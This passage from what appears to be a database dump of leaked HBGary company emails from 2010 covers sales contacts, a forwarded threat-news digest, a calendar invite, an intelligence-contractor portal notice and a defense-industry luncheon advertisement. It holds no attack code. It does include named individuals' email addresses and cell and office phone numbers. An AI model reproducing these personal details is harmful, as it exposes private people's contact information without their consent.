you.  I explained to John earlier this morning that your provide Security Services with Security Clearances...\r\nYou can reach John at (650) 604-5525\r\nMaria-- \r\nMaria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com   \r\n\r\n\r\n',10526,'aaron_hbgary_com/10526.html'),(11232,'2010-09-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008565.M403320P14101Q6087.eml','\"Phil Wallisch\" <phil@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Matt Standart\" <matt@hbgary.com>','FW: NMCIWG: Daily Computer Threat News (Thu)','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Thursday, September 02, 2010 11:20 AM\r\nSubject: FW: NMCIWG: Daily Computer Threat News (Thu)\r\n\r\n \r\n\r\nSubject: NMCIWG: Daily Computer Threat News (Thu)\r\n\r\n \r\nToday\'s articles:\r\n* Delaware contractor mistakenly posts personal data of 22,000 employees\r\n* Corporate espionage for dummies: HP scanners\r\n* Microsoft still mum on programs prone to DLL hijacking attacks\r\n* New zero-day vulnerabilities imminent\r\n* Alleged ransomware gang investigated by Moscow police\r\n* Backdoor discovered in QuickTime\r\n* Secunia\'s PSI 2.0 beta tackles Windows update annoyances\r\n* iTunes 10 addresses 13 security vulnerabilities\r\n* Botnet Takedown May Yield Valuable Data\r\n* Microsoft\'s Not-So-Secret Plan to Cripple Windows XP\r\n* Cameron Diaz Could Wreck Your PC, McAfee Warns\r\n \r\n \r\n',59,'aaron_hbgary_com/59.html'),(11233,'2010-09-02','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297008565.M696188P14101Q6088.eml','\"Kerrigan, Jack\" <jkerrigan@BlackbirdTech.com>,\"Aaron Barr\" <aaron@hbgary.com>','Discussion with Jack Kerrigan and Aaron Barr and Penny Leavy','BEGIN:VCALENDAR\r\nPRODID:-//Microsoft Corporation//Outlook 12.0 MIMEDIR//EN\r\nVERSION:2.0\r\nMETHOD:REQUEST\r\nX-MS-OLK-FORCEINSPECTOROPEN:TRUE\r\nBEGIN:VEVENT\r\nATTENDEE;CN=\"Kerrigan, Jack\";RSVP=TRUE:mailto:jkerrigan@BlackbirdTech.com\r\nATTENDEE;CN=\"\'Aaron Barr\'\";RSVP=TRUE:mailto:aaron@hbgary.com\r\nCLASS:PUBLIC\r\nCREATED:20100902T191139Z\r\nDESCRIPTION:When: Friday\\, September 03\\, 2010 1:30 PM-2:00 PM (UTC-08:00) \r\n	Pacific Time (US & Canada).\\nWhere: phone\\n\\nNote: The GMT offset above do\r\n	es not reflect daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\\n\\\r\n	n\\n\r\nDTEND:20100903T210000Z\r\nDTSTAMP:20100902T191139Z\r\nDTSTART:20100903T203000Z\r\nLAST-MODIFIED:20100902T191139Z\r\nLOCATION:phone\r\nORGANIZER;CN=\"Penny Leavy-Hoglund\":mailto:penny@hbgary.com\r\nPRIORITY:5\r\nSEQUENCE:0\r\nSUMMARY;LANGUAGE=en-us:Discussion with Jack Kerrigan and Aaron Barr and Pen\r\n	ny Leavy\r\nTRANSP:OPAQUE\r\nUID:040000008200E00074C5B7101A82E00800000000E04125FF974ACB01000000000000000\r\n	010000000EF1DA6F0B41A5347807A986AFA031583\r\nX-ALT-DESC;FMTTYPE=text/html:\\n\\n\\n\\n\\n\\n\\n\\n\\nWhen: Friday\\, September 03\\, 2010 1:30 PM-2:00 PM (UTC-08:00) Pacific\r\n	 Time (US &amp\\; Canada).\\n\\nWhere: phone\\n\\nNote: The GMT offset above does not ref\r\n	lect daylight saving time adjustments.\\n\\n*~*~*~*~*~*~*~*~*~*\r\n	\\n\\n\\n\\n\\n\r\nX-MICROSOFT-CDO-BUSYSTATUS:TENTATIVE\r\nX-MICROSOFT-CDO-IMPORTANCE:1\r\nX-MICROSOFT-CDO-INTENDEDSTATUS:BUSY\r\nX-MICROSOFT-DISALLOW-COUNTER:FALSE\r\nX-MS-OLK-ALLOWEXTERNCHECK:TRUE\r\nX-MS-OLK-AUTOSTARTCHECK:FALSE\r\nX-MS-OLK-CONFTYPE:0\r\nX-MS-OLK-SENDER;CN=\"Penny Leavy-Hoglund\":mailto:penny@hbgary.com\r\nBEGIN:VALARM\r\nTRIGGER:-PT15M\r\nACTION:DISPLAY\r\nDESCRIPTION:Reminder\r\nEND:VALARM\r\nEND:VEVENT\r\nEND:VCALENDAR\r\n\r\n',7199,'aaron_hbgary_com/7199.html'),(11234,'2010-09-02','arc@westfields.net','/aaron@hbgary.com/new/1297008565.M904959P14101Q6089.eml','federal@hbgary.com','SE / Graystone Announcement Posting','\r\nAn announcement has been posted on the NRO/SE-Graystone effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select SE /Graystone from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',7107,'aaron_hbgary_com/7107.html'),(11235,'2010-09-02','\"AFCEA DC Management Office\" <info@afceadc.org>','/aaron@hbgary.com/new/1297008566.M147721P14101Q6090.eml','aaron@hbgary.com','LTG Jeff Sorenson Chairs Army Panel & NSC Awareness Luncheon to kick off the 2010-2011 AFCEA DC Season - Sep 27','\r\n\r\n\r\nAFCEA DC Monthly Luncheon\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n        Renew \r\n              or Purchase\r\n              Your Corporate Table\r\n              for the 2010-2011\r\n              Luncheon Season!\r\n      \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          AFCEA \r\n            DC Home\r\n          News\r\n          Calendar\r\n          About \r\n            AFCEA DC\r\n        \r\n      \r\n  \r\n\r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n          \r\n            \r\n              Secure Your Spot - 1st Lunch of the Season is Sept 27\r\n                    Leveraging Commercial Technologies \r\n                    for the Army\'s Future \r\n                    \r\n                  Panel \r\n                    Chaired by Army CIO/G-6 LTG Jeff Sorenson\r\n                    &amp; Annual Awareness Effort for the NSC\r\n                  \r\n                     \r\n                      \r\n                      \r\n                      \r\n                      \r\n                    \r\n                     \r\n                      LTG Jeffrey\r\n                        Sorenson\r\n                      MG Nick\r\n                        Justice\r\n                      BG Lee\r\n                        Price\r\n                      Mr. Gary\r\n                        Winkler\r\n                    \r\n                  \r\n                  AFCEA DC is once again kicking off the \r\n                    Luncheon Season with a bang! Sign-up your company to sponsor \r\n                    a table for the 2010-2011 Season, and earn year-long benefits \r\n                    while taking full advantage of the first luncheon in September \r\n                    - an incredible Army Panel plus annual awareness luncheon \r\n                    for the National Science Center (NSC). The networking is always \r\n                    terrific at this event, and the cause of STEM Education is \r\n                    an important one to our community, our Military, and our Country.\r\n                  Register \r\n                    for Your Corporate Table for the Year\r\n                  Register \r\n                    as an Individual to Attend the Luncheon\r\n                    \r\n                  \r\n                  1st Luncheon of the Season: \r\n                    \r\n                    Army Flag &amp; SES Panel\r\n                    Plus Awareness Luncheon for the NSC\r\n                    Sept 27 - Ritz Carlton, Pentagon City\r\n                  Luncheon Theme: \r\n                    Leveraging Commercial Technologies for the Army\'s Future\r\n                  Speakers:\r\n                  \r\n                      LTG Jeffrey Sorenson, \r\n                      Army CIO/G6 - Moderator\r\n                    MG Nick Justice, Commanding \r\n                      General, RDECOM\r\n                    MG Mark Bowman, Director \r\n                      of Architecture, Operations, Networks and Space\r\n                    BG Lee Price, PEO C3T\r\n                    MG (P) Rhett Hernandez, \r\n                      Commander, ARFORCYBER (invited)\r\n                    Mr. Gary Winkler, PEO \r\n                      EIS\r\n                    COL John Morrison, Director, \r\n                      LandWarNet/Battle Command G-3/5/7\r\n                      \r\n                  \r\n                 CALL \r\n                  FOR CORPORATE TABLE HOLDERS\r\n                  AFCEA DC is kicking off its annual \r\n                    Monthly Luncheon Corporate Table Holder Drive with \r\n                    this first exciting Army program and many more such events \r\n                    to come..\r\n                  Register \r\n                    Online for your Company\'s sponsorship, \r\n                    and have a reserved table every month at our 9-month Luncheon \r\n                    Series (Starting with September 27, and running through \r\n                    June 2011, with a break in December for the Winter Gala). \r\n                    Signing-up online is your act of commitment for the \r\n                    table, and you can choose to pay instantly by credit card \r\n                    or manually by check.\r\n                  The AFCEA DC Luncheon Series is an outstanding \r\n                    networking opportunity for the defense, intelligence, and \r\n                    homeland security communities each month. If you are looking \r\n                    to understand trends in DoD Programs and Management, find \r\n                    industry Partners, or hire talented employees... You \r\n                    should be at AFCEA DC every month.\r\n                  We have another exceptional program/speaker \r\n                    line-up slated for this year, including:\r\n                  \r\n                     Army Panel &amp; National Science Center \r\n                      (NSC) Awareness luncheon - Sept 27\r\n                    Navy panel - Oct 22\r\n                    DHS panel - Nov 22\r\n                    DISA panel - Jan TBD\r\n                    Air Force panel - Feb TBD\r\n                    Intelligence Community panel - Mar TBD\r\n                    Health IT panel - Apr TBD\r\n                    Joint Service panel &amp; Spring Leadership \r\n                      Awards - May 20\r\n                    Annual scholarship luncheon - Jun TBD\r\n                  \r\n                  Benefits to AFCEA DC Season Corporate \r\n                    Table Holders include:\r\n                  \r\n                    Reserved table and seating for up to SIX \r\n                      of your employees at every monthly luncheon of the AFCEA \r\n                      DC Series for full table holders (Up to THREE seats for \r\n                      half-tables);\r\n                    A guaranteed seat to hear the most relevant \r\n                      military officers &amp; SES executives brief on the programs \r\n                      and opportunities they oversee;\r\n                    Government attendees (potential clients) \r\n                      seated at your table first (all government luncheon guests \r\n                      placed randomly by AFCEA DC, for ethical reasons);\r\n                    Your corporate logo featured prominently \r\n                      on the AFCEA DC website -- visited by thousands of potential \r\n                      clients and partners each year;\r\n                    Your corporate logo prominently displayed \r\n                      on your table at each monthly luncheon;\r\n                    Your support listed on a flier at every \r\n                      chair at the Luncheon -- all attendees will know you are \r\n                      AFCEA DC\'s partner;\r\n                    Your support listed on dozens of emails \r\n                      broadcast to thousands of DC area professionals - sent to \r\n                      the entire AFCEA DC database each month\r\n                    An invitation to purchase advance tickets \r\n                      to the AFCEA DC Winter Gala, Spring Gala, and other special \r\n                      events that may be planned this year. These events are almost \r\n                      always sold-out, so advance tickets are a must.\r\n                  \r\n                  Generous Companies who ALSO Sponsor \r\n                    the NSC Event, get added benefits:\r\n                  \r\n                    Your corporate logo on the NSC Event Website\r\n                    Your corporate logo on the NSC Event Program\r\n                    Your Corporate Name in all marketing emails \r\n                      and materials for the NSC Event\r\n                    Your Corporate Logo on the Screen running \r\n                      during the NSC Event\r\n                    Prominent Placement of your Table at the \r\n                      NSC Event, closer to the podium\r\n                    All of the benefits of the regular Corporate \r\n                      Table-Holders listed above \r\n                    Knowledge that you are supporting a very \r\n                      important cause, near and dear to the hearts of those in \r\n                      attendance: Keeping America Strong by ensuring \r\n                      that our citizens and future leaders are competitive in \r\n                      Math &amp; Science.\r\n                  \r\n                  Corp Table Sponsorships:\r\n                  \r\n                    $5,000 - Full Corp Table Only for \r\n                      the year (6 seats each month @ 9 lunches)\r\n                    $2,500 - Half Corp Table Only for \r\n                      the year (3 seats each month @ 9 lunches)\r\n                  \r\n                  NSC Sponsorships:\r\n                  \r\n                      $1,000 - Sponsorship of NSC\r\n                    $500 - Small Business Sponsorship \r\n                      of NSC\r\n                      (you must have less than 150 employees) \r\n                      \r\n                   Register \r\n                    for your Corp Table and NSC Sponsorship Online Now\r\n                    (Signing-up online for the table is your act of commitment; \r\n                    you can select to pay by credit card or check)\r\n                  Register \r\n                    as an Individual to Attend the Luncheon\r\n                    \r\n                  \r\n                  \r\n                  Has \r\n                    Your Company Renewed/Purchased\r\n                    Your Table Yet for this Season?\r\n                  Our \r\n                    Supporters are Your Potential Partners &amp; Solution Providers!\r\n                  \r\n                  Last \r\n                    Year\'s AFCEA DC Corporate Table Holders\r\n                \r\n                  \r\n                    Last \r\n                          Year\'s Multiple Table Sponsors\r\n                  \r\n                  \r\n                    \r\n                      General Dynamics\r\n                      \r\n                    \r\n                    \r\n                      Northrop Grumman\r\n                  \r\n                  \r\n                    \r\n                       SAIC\r\n                        \r\n                      \r\n                    \r\n                  \r\n                  \r\n                    Last \r\n                          Year\'s Full Table Sponsors\r\n                  \r\n                  \r\n                    \r\n                      Apptis\r\n                      BAE Systems\r\n                      Booz Allen Hamilton\r\n                      Brocade\r\n                      CACI\r\n                      CGI Federal\r\n                      Computer Sciences Corporation\r\n                      General Dynamics\r\n                      General Dynamics Information Technology\r\n                      Google\r\n                      GTSI\r\n                      Harris\r\n                      Hitachi Data Systems \r\n                      \r\n                    \r\n                    \r\n                      HP\r\n                      immixGroup\r\n                      Lockheed Martin\r\n                      ManTech International\r\n                      Microsoft\r\n                      Network Security Systems Plus\r\n                      Northrop Grumman\r\n                      Northrop Grumman\r\n                      Qwest Government Services\r\n                      SAIC\r\n                      SAIC\r\n                      SAIC \r\n                      Verizon Business\r\n                  \r\n                  \r\n                    Last Year\'s Half-Table Sponsors\r\n                  \r\n                  \r\n                    \r\n                      \r\n                        Accenture\r\n                        Adobe Systems\r\n                        AT&amp;T\r\n                        Ball Aerospace &amp; Technologies\r\n                        Business Growth Associates\r\n                        CA\r\n                        Capgemini Government Solutions\r\n                        CapRock Government Solutions\r\n                        Ciena\r\n                        Cisco\r\n                        CPS Professional Services\r\n                        Deloitte\r\n                        Distributed Solutions\r\n                        DSA\r\n                        GovDelivery\r\n                        Grant Thornton\r\n                        IBM - Tivoli Federal\r\n                        Inmarsat Government Services\r\n                        ITT Corporation\r\n                        Juniper Networks\r\n                        Knightfork\r\n                        L-3 Enterprise IT Solutions\r\n                        Level 3 Communications\r\n                        \r\n                        \r\n                      \r\n                    \r\n                    \r\n                      \r\n                         LGS Innovations\r\n                          NetApp\r\n                          Nortel Government Solutions\r\n                          QinetiQ North America\r\n                          GuardianEdge\r\n                          Quest Software Public Sector\r\n                          Qwest Government Services\r\n                          Raytheon\r\n                          RightNow Technologies\r\n                          Riverbed Technology\r\n                          SAP Public Services\r\n                          Scitor Corporation\r\n                          Segovia\r\n                          Sprint\r\n                          SRA International\r\n                          SRI International\r\n                          Suss Consulting\r\n                          TechTeam Government Solutions\r\n                          Terremark Federal Group\r\n                          Truestone\r\n                          Trusted Computer Solutions\r\n                          Ultra Electronics-Criticom\r\n                          Vangent\r\n                          ZAI Solutions\r\n                        \r\n                    \r\n                  \r\n                \r\n                Shouldn\'t \r\n                  Your Company Be Listed This Year?\r\n                To \r\n                  reserve your Corporate Table for the remainder of the luncheon season,\r\n                  Sign-up \r\n                    online.\r\n                      \r\n                \r\n            \r\n          \r\n            \r\n            \r\n          \r\n          \r\n\r\n              \r\n                Early NSC Sponsors: \r\n                \r\n              \r\n              \r\n                \r\n              \r\n              \r\n                \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n\r\n\r\n                         \r\n                          \r\n                          \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n  \r\n\r\n                        \r\n                          \r\n                          \r\n\r\n\r\n                        \r\n                          \r\n                        \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n\r\n\r\n                        \r\n                          \r\n                          \r\n  \r\n\r\n                        \r\n                          \r\n                          \r\n                          \r\n                          \r\n\r\n\r\n\r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                Early FY2010-2011\r\n                    Multi-Table Sponsor: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              \r\n                \r\n                  \r\n                        &nbsp;\r\n                          Northrop Grumman\r\n                          SAIC\r\n                          &nbsp;\r\n                  \r\n                  \r\n              \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                  Early FY2010-2011\r\n                    Full Table Sponsors: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              \r\n                    \r\n                       \r\n                        Adobe\r\n                           Booz Allen Hamilton\r\n                           CSC\r\n                          General Dynamics\r\n                          Google\r\n                          Harris\r\n                          Hitachi Data Systems\r\n                          immixGroup\r\n                          InfoZen\r\n                          Qwest Government Service\r\n                          Lockheed Martin\r\n                          Microsoft Corporation\r\n                          Verizon Business\r\n                          &nbsp;\r\n                      \r\n                    \r\n                  \r\n            \r\n          \r\n          \r\n            \r\n              \r\n                Early FY2010-2011\r\n                    Half Table Sponsors: \r\n            \r\n            \r\n              \r\n            \r\n            \r\n              \r\n                    \r\n                       \r\n                        Accenture\r\n                          AT&amp;T\r\n                          CapRock Government Solutions\r\n                          Cisco\r\n                          Deloitte\r\n                          General Dynamics IT\r\n                          ITT Corporation\r\n                          Juniper Networks\r\n                          LGS Innovations\r\n                          ManTech\r\n                          MTCSC\r\n                          NetStar-1\r\n                          QinetiQ North America\r\n                          Quest Software\r\n                          Raytheon\r\n                          RightNow Technologies\r\n                          Riverbed Technology\r\n                          Rockwell Collins\r\n                          Scitor Corporation\r\n                          Segovia\r\n                          SRA International\r\n                          SRI International\r\n                          Strohmier Consulting\r\n                          Suss Consulting\r\n                          TechTeam Government Solutions\r\n                          Terremark Federal\r\n                          T-Mobile Government Solutions\r\n                          Trusted Computer Solutions\r\n                          Ultra Electronics Criticom\r\n                          ZAI Solutions\r\n                          \r\n                      \r\n                    \r\n                  \r\n            \r\n          \r\n        \r\n      \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n         \r\n             Armed Forces Communications and Electronics Association \r\n              of Washington, D.C.\r\n              1220 L St., NW, Suite 100-407, Washington, D.C. 20005-4018\r\n              info@afceadc.org&nbsp;&nbsp; \r\n              |&nbsp;&nbsp; tel: 202-701-5808&nbsp;&nbsp; |&nbsp;&nbsp; fax: 202-330-5012\r\n            \r\n            \r\n        \r\n        \r\n          &nbsp;\r\n            AFCEA DC Management by : CAPLEAD | info@caplead.com\r\n            \r\n        \r\n      \r\n  \r\n\r\n\r\nClick Here to be removed from this list\r\n\r\n\r\n',16441,'aaron_hbgary_com/16441.html'),(11236,'2010-09-02','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297008566.M410973P14101Q6091.eml','\"Eric Hipkins\" <eric.hipkins@nekasg.com>','Re: HBGary','Hi Eric,I think we missed the target dates and never had the meeting pinned down.  Can we try to reschedule?Thanks,Ted\r\nOn Wed, Jul 28, 2010 at 1:06 PM, Eric Hipkins &lt;eric.hipkins@nekasg.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSounds good. I will coordinate with Bruce’s calendar and get you\r\na date.\r\n\r\n \r\n\r\nEric\r\n\r\n \r\n\r\n\r\n\r\n\r\nEric Hipkins\r\n\r\n\r\nDirector\r\n\r\nIntelligence Operations Group\r\nNEK Advanced Securities Group\r\nOffice - 719-266-3926\r\n\r\nCell – 719-433-4408\r\nFax – 719-634-5525\r\nEmail – eric.hipkins@nekasg.com\r\nBlackberry – eric.hipkins@vzw.blackberry.net\r\n\r\n\r\n\r\n\r\nCONFIDENTIALITY NOTICE: This e-mail message, including any attachments, is\r\nfor the sole use of the intended recipient(s) and may contain proprietary\r\ninformation. Any unauthorized review, use, disclosure or distribution is\r\nprohibited. If you are NOT the intended recipient, please contact the sender by\r\nreply e-mail and destroy all copies of the original message.\r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Tuesday, July 27, 2010 2:17 PM\r\nTo: Eric Hipkins\r\nSubject: Re: HBGary\r\n\r\n\r\n\r\n \r\n\r\nHi Eric,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nEither day works for me, just pick a date/time and I can put\r\nit on my calendar.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn Mon, Jul 26, 2010 at 2:12 PM, Eric Hipkins &lt;eric.hipkins@nekasg.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\nTed,\r\n\r\n \r\n\r\nGood afternoon. Just looking at the\r\nschedule for August, would either the 30th of 31st work\r\nfor you? I will need to coordinate with Bruce’s schedule also but right now the\r\nmajority of weeks are looking a bit tough to schedule.\r\n\r\n \r\n\r\nThanks and I look forward to our\r\ndiscussion.\r\n\r\n \r\n\r\nEric\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nEric Hipkins\r\n\r\nDirector\r\n\r\nIntelligence\r\nOperations Group\r\nNEK Advanced Securities Group\r\nOffice - 719-266-3926\r\n\r\nCell –\r\n719-433-4408\r\nFax – 719-634-5525\r\nEmail – 